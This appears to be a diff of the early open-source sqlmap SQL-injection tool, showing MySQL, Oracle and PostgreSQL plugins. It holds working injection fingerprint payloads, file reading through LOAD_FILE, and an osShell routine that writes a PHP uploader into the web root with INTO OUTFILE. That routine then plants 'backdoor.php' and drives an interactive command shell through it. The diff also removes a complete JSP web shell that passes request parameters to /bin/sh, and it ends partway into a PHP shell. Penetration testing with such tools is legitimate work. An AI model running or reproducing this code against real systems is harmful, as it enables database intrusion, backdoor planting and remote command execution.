Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.agent import agent
from lib.core.common import fileToStr
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getDirectories
from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import sqlmapSyntaxException
from lib.core.session import setDbms
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import MYSQL_SYSTEM_DBS
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
from plugins.generic.fingerprint import Fingerprint
from plugins.generic.takeover import Takeover
class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
"""
This class defines MySQL methods
"""
def __init__(self):
self.excludeDbsList = MYSQL_SYSTEM_DBS
Enumeration.__init__(self, "MySQL")
unescaper.setUnescape(MySQLMap.unescape)
@staticmethod
def unescape(expression, quote=True):
if quote:
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
unescaped = ""
for i in range(firstIndex, lastIndex):
unescaped += "%d" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += ","
expression = expression.replace(old, "CHAR(%s)" % unescaped)
else:
unescaped = "CHAR("
unescaped += ",".join("%d" % ord(c) for c in expression)
unescaped += ")"
expression = unescaped
return expression
@staticmethod
def escape(expression):
while True:
index = expression.find("CHAR(")
if index == -1:
break
firstIndex = index
index = expression[firstIndex:].find(")")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
oldUpper = old.upper()
oldUpper = oldUpper.lstrip("CHAR(").rstrip(")")
oldUpper = oldUpper.split(",")
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
expression = expression.replace(old, escaped)
return expression
def __commentCheck(self):
logMsg = "executing MySQL comment injection fingerprint"
logger.info(logMsg)
query = agent.prefixQuery(" /* NoValue */")
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if result != True:
warnMsg = "unable to perform MySQL comment injection"
logger.warn(warnMsg)
return None
# MySQL valid versions updated at 10/2008
versions = (
(32200, 32233), # MySQL 3.22
(32300, 32359), # MySQL 3.23
(40000, 40031), # MySQL 4.0
(40100, 40125), # MySQL 4.1
(50000, 50074), # MySQL 5.0
(50100, 50131), # MySQL 5.1
(60000, 60009), # MySQL 6.0
)
for element in versions:
prevVer = None
for version in range(element[0], element[1] + 1):
randInt = randomInt()
version = str(version)
query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if result == True:
if not prevVer:
prevVer = version
if version[0] == "3":
midVer = prevVer[1:3]
else:
midVer = prevVer[2]
trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])
return trueVer
prevVer = version
return None
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if self.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
actVer = formatDBMSfp()
if not conf.extensiveFp:
value += actVer
return value
comVer = self.__commentCheck()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if comVer:
comVer = formatDBMSfp([comVer])
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
if kb.bannerFp:
# TODO: move to the XML banner file
banVer = kb.bannerFp["dbmsVersion"]
if re.search("-log$", self.banner):
banVer += ", logging enabled"
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getHtmlErrorFp()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
"""
References for fingerprint:
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html
* http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html
"""
if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("MySQL %s" % kb.dbmsVersion[0])
if int(kb.dbmsVersion[0]) >= 5:
self.has_information_schema = True
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp:
return True
logMsg = "testing MySQL"
logger.info(logMsg)
randInt = str(randomInt(1))
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
result = Request.queryPage(payload)
if result == True:
logMsg = "confirming MySQL"
logger.info(logMsg)
payload = agent.fullPayload(" AND ISNULL(1/0)")
result = Request.queryPage(payload)
if result != True:
warnMsg = "the back-end DMBS is not MySQL"
logger.warn(warnMsg)
return False
# Determine if it is MySQL >= 5.0.0
if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt) == randInt:
setDbms("MySQL 5")
self.has_information_schema = True
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp:
kb.dbmsVersion = [">= 5.0.0"]
return True
# Check if it is MySQL >= 6.0.3
if inject.getValue("SELECT %s FROM information_schema.PARAMETERS LIMIT 0, 1" % randInt) == randInt:
if inject.getValue("SELECT %s FROM information_schema.PROFILING LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 6.0.5"]
else:
kb.dbmsVersion = [">= 6.0.3", "< 6.0.5"]
# Or if it MySQL >= 5.1.2 and < 6.0.3
elif inject.getValue("MID(@@table_open_cache, 1, 1)"):
if inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.7", "< 6.0.3"]
elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = ["= 5.1.6"]
elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
else:
kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
# Or if it is MySQL >= 5.0.0 and < 5.1.2
elif inject.getValue("MID(@@hostname, 1, 1)"):
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
elif inject.getValue("SELECT 1 FROM DUAL") == "1":
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"]
else:
kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"]
# Otherwise assume it is MySQL < 5.0.0
else:
setDbms("MySQL 4")
kb.dbmsVersion = ["< 5.0.0"]
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp:
return True
# Check which version of MySQL < 5.0.0 it is
coercibility = inject.getValue("COERCIBILITY(USER())")
if coercibility == "3":
kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
elif coercibility == "2":
kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
elif inject.getValue("CURRENT_USER()"):
kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
if inject.getValue("CHARSET(CURRENT_USER())") == "utf8":
kb.dbmsVersion = ["= 4.1.0"]
else:
kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
elif inject.getValue("FOUND_ROWS()") == "0":
kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
elif inject.getValue("CONNECTION_ID()"):
kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")):
kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"]
else:
kb.dbmsVersion = ["< 3.22.11"]
return True
else:
warnMsg = "the back-end DMBS is not MySQL"
logger.warn(warnMsg)
return False
def readFile(self, rFile):
logMsg = "fetching file: '%s'" % rFile
logger.info(logMsg)
return inject.getValue("LOAD_FILE('%s')" % rFile)
def osShell(self):
"""
This method is used to write a PHP agent (cmd.php) on a writable
remote directory within the web server document root.
Such agent is written using the INTO OUTFILE MySQL DBMS
functionality
@todo: * Add a web application crawling functionality to detect
all (at least most) web server directories and merge with
Google results if the target host is a publicly available
hostname or IP address;
* Extend to all DBMS using their functionalities (UDF, stored
procedures, etc) to write files on the system or directly
execute commands on the system without passing by the agent;
* Automatically detect the web server available interpreters
parsing 'Server', 'X-Powered-By' and 'X-AspNet-Version' HTTP
response headers;
* Extend the agent to other interpreters rather than only PHP:
ASP, JSP, CGI (Python, Perl, Ruby, Bash).
"""
logMsg = "retrieving web application directories"
logger.info(logMsg)
directories = getDirectories()
if directories:
logMsg = "retrieved web server directories "
logMsg += "'%s'" % ", ".join(d for d in directories)
logger.info(logMsg)
message = "in addition you can provide a list of directories "
message += "absolute path comma separated that you want sqlmap "
message += "to try to upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
else:
message = "please provide the web server document root [/var/www]: "
inputDocRoot = readInput(message, default="/var/www")
if inputDocRoot:
kb.docRoot = inputDocRoot
else:
kb.docRoot = "/var/www"
message = "please provide a list of directories absolute path "
message += "comma separated that you want sqlmap to try to "
message += "upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
if inputDirs:
inputDirs = inputDirs.replace(", ", ",")
inputDirs = inputDirs.split(",")
for inputDir in inputDirs:
directories.add(inputDir)
else:
directories.add("/var/www/test")
logMsg = "trying to upload the uploader agent"
logger.info(logMsg)
directories = list(directories)
directories.sort()
uploaded = False
backdoorName = "backdoor.php"
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
uploaderName = "uploader.php"
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
for directory in directories:
if uploaded:
break
# Upload the uploader agent
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
if kb.docRoot:
requestDir = directory.replace(kb.docRoot, "")
else:
requestDir = directory
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page, _ = Request.getPage(url=uploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in page:
warnMsg = "unable to upload the uploader "
warnMsg += "agent on '%s'" % directory
logger.warn(warnMsg)
continue
logMsg = "the uploader agent has been successfully uploaded "
logMsg += "on '%s'" % directory
logger.info(logMsg)
# Upload the backdoor through the uploader agent
multipartParams = {
"upload": "1",
"file": open(backdoorPath, "r"),
"uploadDir": directory,
}
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
if "Backdoor uploaded" not in page:
warnMsg = "unable to upload the backdoor through "
warnMsg += "the uploader agent on '%s'" % directory
logger.warn(warnMsg)
continue
uploaded = True
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
logMsg = "the backdoor has been successfully uploaded on "
logMsg += "'%s', go with your browser to " % directory
logMsg += "'%s' and enjoy it!" % backdoorUrl
logger.info(logMsg)
message = "do you want to use the uploaded backdoor as a "
message += "shell to execute commands right now? [Y/n] "
shell = readInput(message, default="Y")
if shell in ("n", "N"):
continue
logMsg = "calling OS shell. To quit type "
logMsg += "'x' or 'q' and press ENTER"
logger.info(logMsg)
autoCompletion(osShell=True)
while True:
command = None
try:
command = raw_input("$ ")
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not command:
continue
if command.lower() in ( "x", "q", "exit", "quit" ):
break
cmdUrl = "%s?cmd=%s" % (backdoorUrl, command)
page, _ = Request.getPage(url=cmdUrl, direct=True)
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
if output:
print output.group(1)
else:
print "No output"
-231
View File
@@ -1,231 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.agent import agent
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapSyntaxException
from lib.core.session import setDbms
from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import ORACLE_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
from plugins.generic.fingerprint import Fingerprint
from plugins.generic.takeover import Takeover
class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
"""
This class defines Oracle methods
"""
def __init__(self):
self.excludeDbsList = ORACLE_SYSTEM_DBS
Enumeration.__init__(self, "Oracle")
unescaper.setUnescape(OracleMap.unescape)
@staticmethod
def unescape(expression, quote=True):
if quote:
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
#unescaped = "("
unescaped = ""
for i in range(firstIndex, lastIndex):
unescaped += "CHR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "||"
#unescaped += ")"
expression = expression.replace(old, unescaped)
else:
expression = "||".join("CHR(%d)" % ord(c) for c in expression)
return expression
@staticmethod
def escape(expression):
while True:
index = expression.find("CHR(")
if index == -1:
break
firstIndex = index
index = expression[firstIndex:].find("))")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
oldUpper = old.upper()
oldUpper = oldUpper.replace("CHR(", "").replace(")", "")
oldUpper = oldUpper.split("||")
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
expression = expression.replace(old, escaped)
return expression
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if self.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += "Oracle"
return value
actVer = formatDBMSfp()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"]
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getHtmlErrorFp()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
if conf.dbms in ORACLE_ALIASES:
setDbms("Oracle")
self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1")
if not conf.extensiveFp:
return True
logMsg = "testing Oracle"
logger.info(logMsg)
payload = agent.fullPayload(" AND ROWNUM=ROWNUM")
result = Request.queryPage(payload)
if result == True:
logMsg = "confirming Oracle"
logger.info(logMsg)
payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)")
result = Request.queryPage(payload)
if result != True:
warnMsg = "the back-end DMBS is not Oracle"
logger.warn(warnMsg)
return False
setDbms("Oracle")
self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1")
if not conf.extensiveFp:
return True
query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
version = inject.getValue(query)
if re.search("^11", version):
kb.dbmsVersion = ["11i"]
elif re.search("^10", version):
kb.dbmsVersion = ["10g"]
elif re.search("^9", version):
kb.dbmsVersion = ["9i"]
elif re.search("^8", version):
kb.dbmsVersion = ["8i"]
return True
else:
warnMsg = "the back-end DMBS is not Oracle"
logger.warn(warnMsg)
return False
def forceDbmsEnum(self):
if conf.db:
conf.db = conf.db.upper()
else:
conf.db = "USERS"
warnMsg = "on Oracle it is only possible to enumerate "
warnMsg += "if you provide a TABLESPACE_NAME as database "
warnMsg += "name. sqlmap is going to use 'USERS' as database "
warnMsg += "name"
logger.warn(warnMsg)
if conf.tbl:
conf.tbl = conf.tbl.upper()
def getDbs(self):
warnMsg = "on Oracle it is not possible to enumerate databases"
logger.warn(warnMsg)
return []
-245
View File
@@ -1,245 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.agent import agent
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapSyntaxException
from lib.core.session import setDbms
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import PGSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
from plugins.generic.fingerprint import Fingerprint
from plugins.generic.takeover import Takeover
class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
"""
This class defines PostgreSQL methods
"""
def __init__(self):
self.excludeDbsList = PGSQL_SYSTEM_DBS
Enumeration.__init__(self, "PostgreSQL")
unescaper.setUnescape(PostgreSQLMap.unescape)
@staticmethod
def unescape(expression, quote=True):
if quote:
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
#unescaped = "("
unescaped = ""
for i in range(firstIndex, lastIndex):
unescaped += "CHR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "||"
#unescaped += ")"
expression = expression.replace(old, unescaped)
else:
expression = "||".join("CHR(%d)" % ord(c) for c in expression)
return expression
@staticmethod
def escape(expression):
while True:
index = expression.find("CHR(")
if index == -1:
break
firstIndex = index
index = expression[firstIndex:].find("))")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
oldUpper = old.upper()
oldUpper = oldUpper.replace("CHR(", "").replace(")", "")
oldUpper = oldUpper.split("||")
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
expression = expression.replace(old, escaped)
return expression
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if self.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += "PostgreSQL"
return value
actVer = formatDBMSfp()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"]
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getHtmlErrorFp()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
"""
Reference for fingerprint: http://www.postgresql.org/docs/8.3/interactive/release-8-3.html
"""
if conf.dbms in PGSQL_ALIASES:
setDbms("PostgreSQL")
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp:
return True
logMsg = "testing PostgreSQL"
logger.info(logMsg)
randInt = str(randomInt(1))
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if result == True:
logMsg = "confirming PostgreSQL"
logger.info(logMsg)
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if result != True:
warnMsg = "the back-end DMBS is not PostgreSQL"
logger.warn(warnMsg)
return False
setDbms("PostgreSQL")
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp:
return True
transTimeCasted = inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)") in ( "1", "2" )
transTime = inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)") in ( "1", "2" )
if transTimeCasted and not transTime:
kb.dbmsVersion = [">= 8.3.0"]
elif transTime:
kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"]
elif inject.getValue("GREATEST(5, 9, 1)") == "9":
kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"]
elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)") == "3":
kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"]
elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)"):
kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"]
elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)") == "p":
kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"]
elif inject.getValue("BIT_LENGTH(1)") == "8":
kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"]
elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)") == "a":
kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"]
elif inject.getValue("POW(2, 3)") == "8":
kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"]
elif inject.getValue("MAX('a')") == "a":
kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"]
elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)")):
kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"]
elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)") == "2":
kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"]
elif inject.getValue("SUBSTRING('sqlmap', 1, 1)") == "s":
kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"]
else:
kb.dbmsVersion = ["< 6.2.0"]
return True
else:
warnMsg = "the back-end DMBS is not PostgreSQL"
logger.warn(warnMsg)
return False
def forceDbmsEnum(self):
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
conf.db = "public"
warnMsg = "on PostgreSQL it is only possible to enumerate "
warnMsg += "on the current schema and on system databases, "
warnMsg += "sqlmap is going to use 'public' schema as "
warnMsg += "database name"
logger.warn(warnMsg)
-25
View File
@@ -1,25 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass
File diff suppressed because it is too large Load Diff
-42
View File
@@ -1,42 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.exception import sqlmapUnsupportedFeatureException
class Filesystem:
"""
This class defines generic OS file system functionalities for plugins.
"""
def readFile(self, rFile):
errMsg = "OS file reading not yet implemented for this DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def writeFile(self, wFile):
errMsg = "OS file writing not yet implemented for this DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
-58
View File
@@ -1,58 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.exception import sqlmapUndefinedMethod
class Fingerprint:
"""
This class defines generic fingerprint functionalities for plugins.
"""
@staticmethod
def unescape(expression):
errMsg = "'unescape' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
@staticmethod
def escape(expression):
errMsg = "'escape' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
def getFingerprint(self):
errMsg = "'getFingerprint' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
def checkDbms(self):
errMsg = "'checkDbms' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
-37
View File
@@ -1,37 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.exception import sqlmapUnsupportedFeatureException
class Takeover:
"""
This class defines generic OS takeover functionalities for plugins.
"""
def osShell(self):
errMsg = "OS shell functionality not yet implemented for this DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
+4
View File
@@ -0,0 +1,4 @@
User-agent: *
Allow: /
Sitemap: https://sqlmap.org/sitemap.xml
-47
View File
@@ -1,47 +0,0 @@
<%@ page import="java.io.*" %>
<%
Process p;
String s, cmd, html;
cmd = request.getParameter("cmd");
if (cmd == null) {
cmd = "pwd";
}
String []bashcmd = {"/bin/sh","-c",cmd};
html = request.getParameter("html");
if (html != null) {
out.println("<HTML>");
}
p = Runtime.getRuntime().exec(bashcmd);
BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));
while ((s = stdInput.readLine()) != null) {
out.println(s);
if (html != null) {
out.println("<br>");
}
}
while ((s = stdError.readLine()) != null) {
System.out.println(s);
if (html != null) {
out.println("<br>");
}
}
%>
-301
View File
@@ -1,301 +0,0 @@
<?php
@set_time_limit();
@error_reporting(0);
@ob_implicit_flush();
$phpself=$_SERVER["PHP_SELF"];
